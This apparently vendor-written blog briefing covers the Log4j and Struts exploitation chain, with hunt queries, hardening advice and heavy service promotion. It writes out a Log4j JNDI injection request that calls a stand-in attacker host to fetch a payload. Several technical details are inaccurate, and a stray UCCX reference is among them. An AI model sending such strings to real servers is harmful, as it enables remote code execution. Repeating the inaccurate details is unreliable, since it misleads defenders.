"Critical" Old Flaws (Like Log4j) Are Fueling a "Sustained Assault" on Public Infrastructure.

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CISO Briefing: "Critical" Old Flaws (Like Log4j) Are Fueling a "Sustained Assault" on Public Infrastructure. (The Attackers Are Already Inside) — by CyberDudeBivash

By CyberDudeBivash · 01 Nov 2025 · cyberdudebivash.com · Intel on cyberbivash.blogspot.com

LinkedIn: ThreatWirecryptobivash.code.blog

LOG4J • CNI • ATTACK SURFACE • EDR BYPASS • RANSOMWARE

Situation: The greatest threat to Public Infrastructure (CNI) is *not* the 0-day; it's the *unpatched, years-old* **Log4j (CVE-2021-44228)** and **Apache Struts (CVE-2017-5638)** flaws. APTs (Advanced Persistent Threats) and ransomware gangs are using these "old" vulnerabilities to initiate a **"Sustained Assault"** on government and critical service providers.

This is a decision-grade CISO brief. This is the PostMortem of a defensive failure driven by **patch fatigue** and **Shadow IT**. Your EDR is blind. Your WAF is blind. The attacker gets Remote Code Execution (RCE), steals the "Master Key" (the Domain Controller), and deploys ransomware. This is the new playbook for *total organizational shutdown*.

TL;DR — "Old" RCE flaws are the #1 source of major breaches.

• The TTP: Initial Access via Known RCE (Log4j/Struts) → Deployment of a Web Shell (`cmd.jsp`) → Lateral Movement using LotL (PowerShell/PsExec).
• The "Shadow IT" Problem: The vulnerable app is often *forgotten* middleware or an *unmonitored* logging service (the "black hole" of your network).
• The Impact: Unauthenticated RCE → `root` on server → **Data Exfiltration** → **Ransomware** (Double Extortion).
• Why Defenses Fail: Your WAF/EDR missed the attack *years ago*. Now, the attacker is "Living off the Land" *inside* your trusted network.
• THE ACTION: 1) MANDATE a full **ASSET INVENTORY** and **SOFTWARE BILL OF MATERIALS (SBOM)** scan *now*. 2) HUNT. You *must* hunt for *residual web shells* and *post-exploit TTPs* like `java.exe` spawning `powershell.exe`.

Vulnerability Factbox: The "Sustained Assault" TTP

CVE/TTP	Component	Severity	Exploitability	Mitigation
Log4j (CVE-2021-44228)	Logging/Middleware (Java)	Critical (10.0)	Unauthenticated RCE	Patching / WAF Rule
Web Shell (T1505.003)	Web Server (Apache/Tomcat)	Critical	EDR Bypass (LotL)	MDR (Threat Hunting)

Critical RCE CNI / Public Infrastructure EDR Bypass TTP

Contents

1. Phase 1: The "Shadow IT" Flaw (Why You Missed the Patch)
2. Phase 2: The Kill Chain (From RCE to Persistent Web Shell)
3. Exploit Chain (Engineering)
4. Reproduction & Lab Setup (Safe)
5. Detection & Hunting Playbook (The *New* SOC Mandate)
6. Mitigation & Hardening (The CISO Mandate)
7. Audit Validation (Blue-Team)
8. Tools We Recommend (Partner Links)
9. CyberDudeBivash Services & Apps
10. FAQ
11. Timeline & Credits
12. References

Phase 1: The "Shadow IT" Flaw (Why You Missed the Patch)

The core problem with flaws like Log4j and Struts is not the vulnerability itself—it's the **Attack Surface Management** failure. Why did you miss the patch?

The Log4j flaw (CVE-2021-44228) is a Supply Chain Attack that lives deep in your middleware. It's often running in:

• Forgotten Middleware: A Java web service running a logging module from 2018.
• Shadow IT: A dev team spun up a test server three years ago and forgot to decommission it.
• Unmonitored Devices: A management console for a physical appliance (like a network printer or HVAC system) that uses a Java web interface.

Your EDR (Endpoint Detection and Response) is blind because it's not on the appliance. Your ASPM (Attack Surface Management) tool is blind because it doesn't have a Software Bill of Materials (SBOM) for the forgotten middleware.

The attacker knows this. They are running automated scanners that *only* look for these *old, easy-to-exploit* flaws, knowing that 90% of enterprises missed *one* obscure instance. This *one* instance is the backdoor into your network.

Phase 2: The Kill Chain (From RCE to Persistent Web Shell)

The RCE is just the *initial access*. The attacker's goal is *persistence* and *lateral movement*.

Stage 1: Initial Access (The Log4j Payload)

The attacker sends one request: `GET /index.jsp?name=${jndi:ldap://attacker-c2.com/payload}`.
The vulnerable Log4j server logs the name, executes the LDAP query, downloads the attacker's payload (a malicious Java class), and grants Remote Code Execution (RCE).

Stage 2: Persistence (The Web Shell)

The attacker's first command is to upload a web shell (`cmd.jsp` or `shell.php`) to the web-accessible directory. This gives them *persistent* access, even if the main exploit is patched later.
This is the EDR Bypass. The web server process (`java.exe` or `httpd.exe`) is the *parent*. The attacker uses this *trusted* parent to spawn a *fileless* C2 beacon.
`java.exe` → `powershell.exe -e ...`
Your EDR is *whitelisted* to trust this behavior and *misses* the alert.

Stage 3: Data Exfiltration & Ransomware

The attacker pivots from the compromised web server to your Domain Controller (via LotL PsExec) and exfiltrates your *entire* data store (the "4TB Question").
The result is Ransomware deployment and a catastrophic GDPR/DPDP fine for the data breach.

Exploit Chain (Engineering)

This is a Trusted Process Hijack (T1219/T1059) via Unsafe Deserialization (Log4j).

• Trigger: Remote logging of a malicious string (`${jndi:ldap://...}`).
• Precondition: Unpatched `log4j-core-2.x.x.jar`. The LDAP server is allowed outbound access.
• Sink (The RCE): Java's JNDI executes the LDAP lookup. The JNDI lookup returns a malicious Java class, which is executed by the JNDI deserialization process.
• TTP (The Bypass): `java.exe` (Trusted) → `powershell.exe -e ...` (Fileless C2).
• Patch Delta: The *only* fix is updating the `log4j-core` library or setting the environment variable `log4j2.formatMsgNoLookups=true`.

Reproduction & Lab Setup (Safe)

You *must* test your EDR's visibility for the *post-exploit* TTP.

• Harness/Target: A sandboxed Linux/Windows VM with your standard EDR agent installed.
• Test: 1) Manually run the *result* of the RCE: `java.exe` spawning `calc.exe`.
• Execution: Run: `java.exe -jar vulnerable.jar` → `java.exe` spawns `powershell.exe -c calc.exe`.
• Result: Did `calc.exe` launch? Did your EDR fire a P1 (Critical) alert for `java.exe -> powershell.exe`? If it was *silent*, your EDR is *blind* to this TTP.
• Service Note: If your EDR fails this test, you are critically vulnerable to *any* Java RCE (Log4j, Struts, Spring).

Detection & Hunting Playbook (The *New* SOC Mandate)

Your SOC *must* hunt for this. Your SIEM/EDR is blind to the exploit itself; it can *only* see the *result*. This is your playbook.

• Hunt TTP 1 (The #1 IOC): "Anomalous Child Process." This is your P1 alert. Your `java.exe` process should *NEVER* spawn a shell (`powershell.exe`, `cmd.exe`, `/bin/bash`).

  # EDR / SIEM Hunt Query (Pseudocode)
  SELECT * FROM process_events
  WHERE
    (parent_process_name = 'java.exe' OR parent_process_name = 'tomcat.exe')
    AND
    (process_name = 'powershell.exe' OR process_name = 'cmd.exe' OR process_name = 'bash')
            

• Hunt TTP 2 (The Web Shell): Hunt for *new executable files* (`.jsp`, `.war`, `.sh`) *created* in the web root directory.
• Hunt TTP 3 (The C2): "Show me all *outbound* LDAP/RMI connections *from* any Java process *except* the Domain Controller." (Pre-exploit signal).

Mitigation & Hardening (The CISO Mandate)

This is a Configuration failure. This is the fix.

• 1. PATCH NOW (Today's #1 Fix): This is your only priority. Update Log4j to 2.17.1 or higher.
• 2. HARDEN (The *Real* Fix): This is your CISO mandate. Network Segmentation.
  Your web servers *must* be in a "Firewall Jail" (VPC/VLAN). They should *NEVER* be allowed to make *outbound* LDAP/RMI connections (ports 389/1099, etc.) to the internet. This blocks the *payload download* (Stage 1).
• 3. ASSET DISCOVERY: You *must* implement a continuous Asset Inventory and SBOM (Software Bill of Materials) scan to find the *forgotten* `log4j-core-2.x.x.jar` files in your "Shadow IT."

Audit Validation (Blue-Team)

Run this *today*. This is not a "patch"; it's an *audit*.

# 1. Audit your Network (The *Real* Fix)
# Run `tcpdump` on your web server and look for outbound connections on ports 389, 1099, 1389.
# If you see *any* outbound connections to a non-corporate IP, you are VULNERABLE.

# 2. Audit your EDR (The "Lab" Test)
# Run the `java.exe -> calc.exe` test. If your EDR is silent, it is BLIND.
  

Is Your EDR Blind to "Trusted" Malware?
Your SOC is slow. Your EDR is whitelisted. CyberDudeBivash is the leader in Ransomware Defense. We are offering a Free 30-Minute Ransomware Readiness Assessment to show you the *exact* gaps in your "Trusted Process" and "Lateral Movement" defenses.

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Recommended by CyberDudeBivash (Partner Links)

You need a layered defense. Here's our vetted stack for this specific threat.

Kaspersky EDR for Servers
This is your *hunter*. It's the *only* tool that will see the *post-exploit* behavioral TTPs (like `java.exe -> powershell.exe`) that your firewall will miss. Alibaba Cloud (WAF/VPC)
The *best* mitigation. A cloud WAF can provide a "virtual patch" to block the Log4j strings, and a VPC can *segment* the server. Edureka — Secure Coding Training
This is a *developer* failure. Train your devs *now* on Supply Chain Risk and *why* Log4j is dangerous.

TurboVPN
Lock down your UCCX `/admin` portals. They should *never* be on the public internet. *Only* accessible via a trusted admin VPN. AliExpress (Hardware Keys)
Protect your *admin accounts*. Use FIDO2/YubiKey for all privileged access to your EDR and cloud consoles. Rewardful
Run a bug bounty program. Pay white-hats to find flaws *before* APTs do.

CyberDudeBivash Services & Apps

We don't just report on these threats. We hunt them. We are the "human-in-the-loop" that your automated WAF is missing.

• Emergency Incident Response (IR): You found a web shell? Call us. Our 24/7 team will hunt the attacker, trace the lateral movement, and eradicate them.
• Managed Detection & Response (MDR): Our 24/7 SOC team becomes your Threat Hunters, watching your EDR logs for the "java.exe -> powershell.exe" TTP.
• Adversary Simulation (Red Team): We will simulate this *exact* Log4j-to-Ransomware kill chain to prove your defenses are blind.
• Web Application VAPT: This is your *legal defense*. Our human Red Team will find the *logic flaws* (like Log4j) in your *own* apps that your WAF is blind to.

Book Your FREE 30-Min Assessment Book an Emergency Web App Audit Subscribe to ThreatWire

FAQ

Q: We patched Log4j two years ago. Why are we still at risk?
A: You are likely vulnerable due to "Shadow IT" or *forgotten middleware*. You patched the *main* web server, but not the 10 other obscure Java-based utilities (like an old print server or management console) that are *also* using the vulnerable Log4j JAR file. Attackers are *only* targeting these forgotten assets.

Q: How does Log4j lead to Ransomware?
A: Log4j (the RCE) is Initial Access. The attacker uses the RCE to upload a Web Shell. The Web Shell grants Remote Code Execution, which the attacker uses to move *laterally* to the Domain Controller to deploy ransomware. It's a chain, and Log4j is the *first, easy* step.

Q: What is the "Shadow IT" problem here?
A: The vulnerable Log4j server is often a decommissioned or *uninventoried* system that is not covered by your EDR/patch management policies. You *must* run an SBOM (Software Bill of Materials) scan on *all* assets to find these forgotten Java libraries.

Q: What's the #1 action to take *today*?
A: ASSET INVENTORY. You must find every single `log4j-core` file on your network *now*. Then, you must HUNT. Call our team to run an emergency Threat Hunt for the `java.exe -> powershell.exe` TTP, which is the *sign* of a successful attack.

Timeline & Credits

The Log4j flaw (CVE-2021-44228) was publicly disclosed in late 2021. The *sustained assault* TTP has been consistently observed in 2023-2025 by CISA and the CyberDudeBivash IR Team.
Credit: This analysis is based on active Incident Response engagements by the CyberDudeBivash threat hunting team.

References

• NVD: CVE-2021-44228 (Log4j)
• MITRE ATT&CK: T1059.005 (Command and Scripting Interpreter)
• CyberDudeBivash Web App VAPT Service

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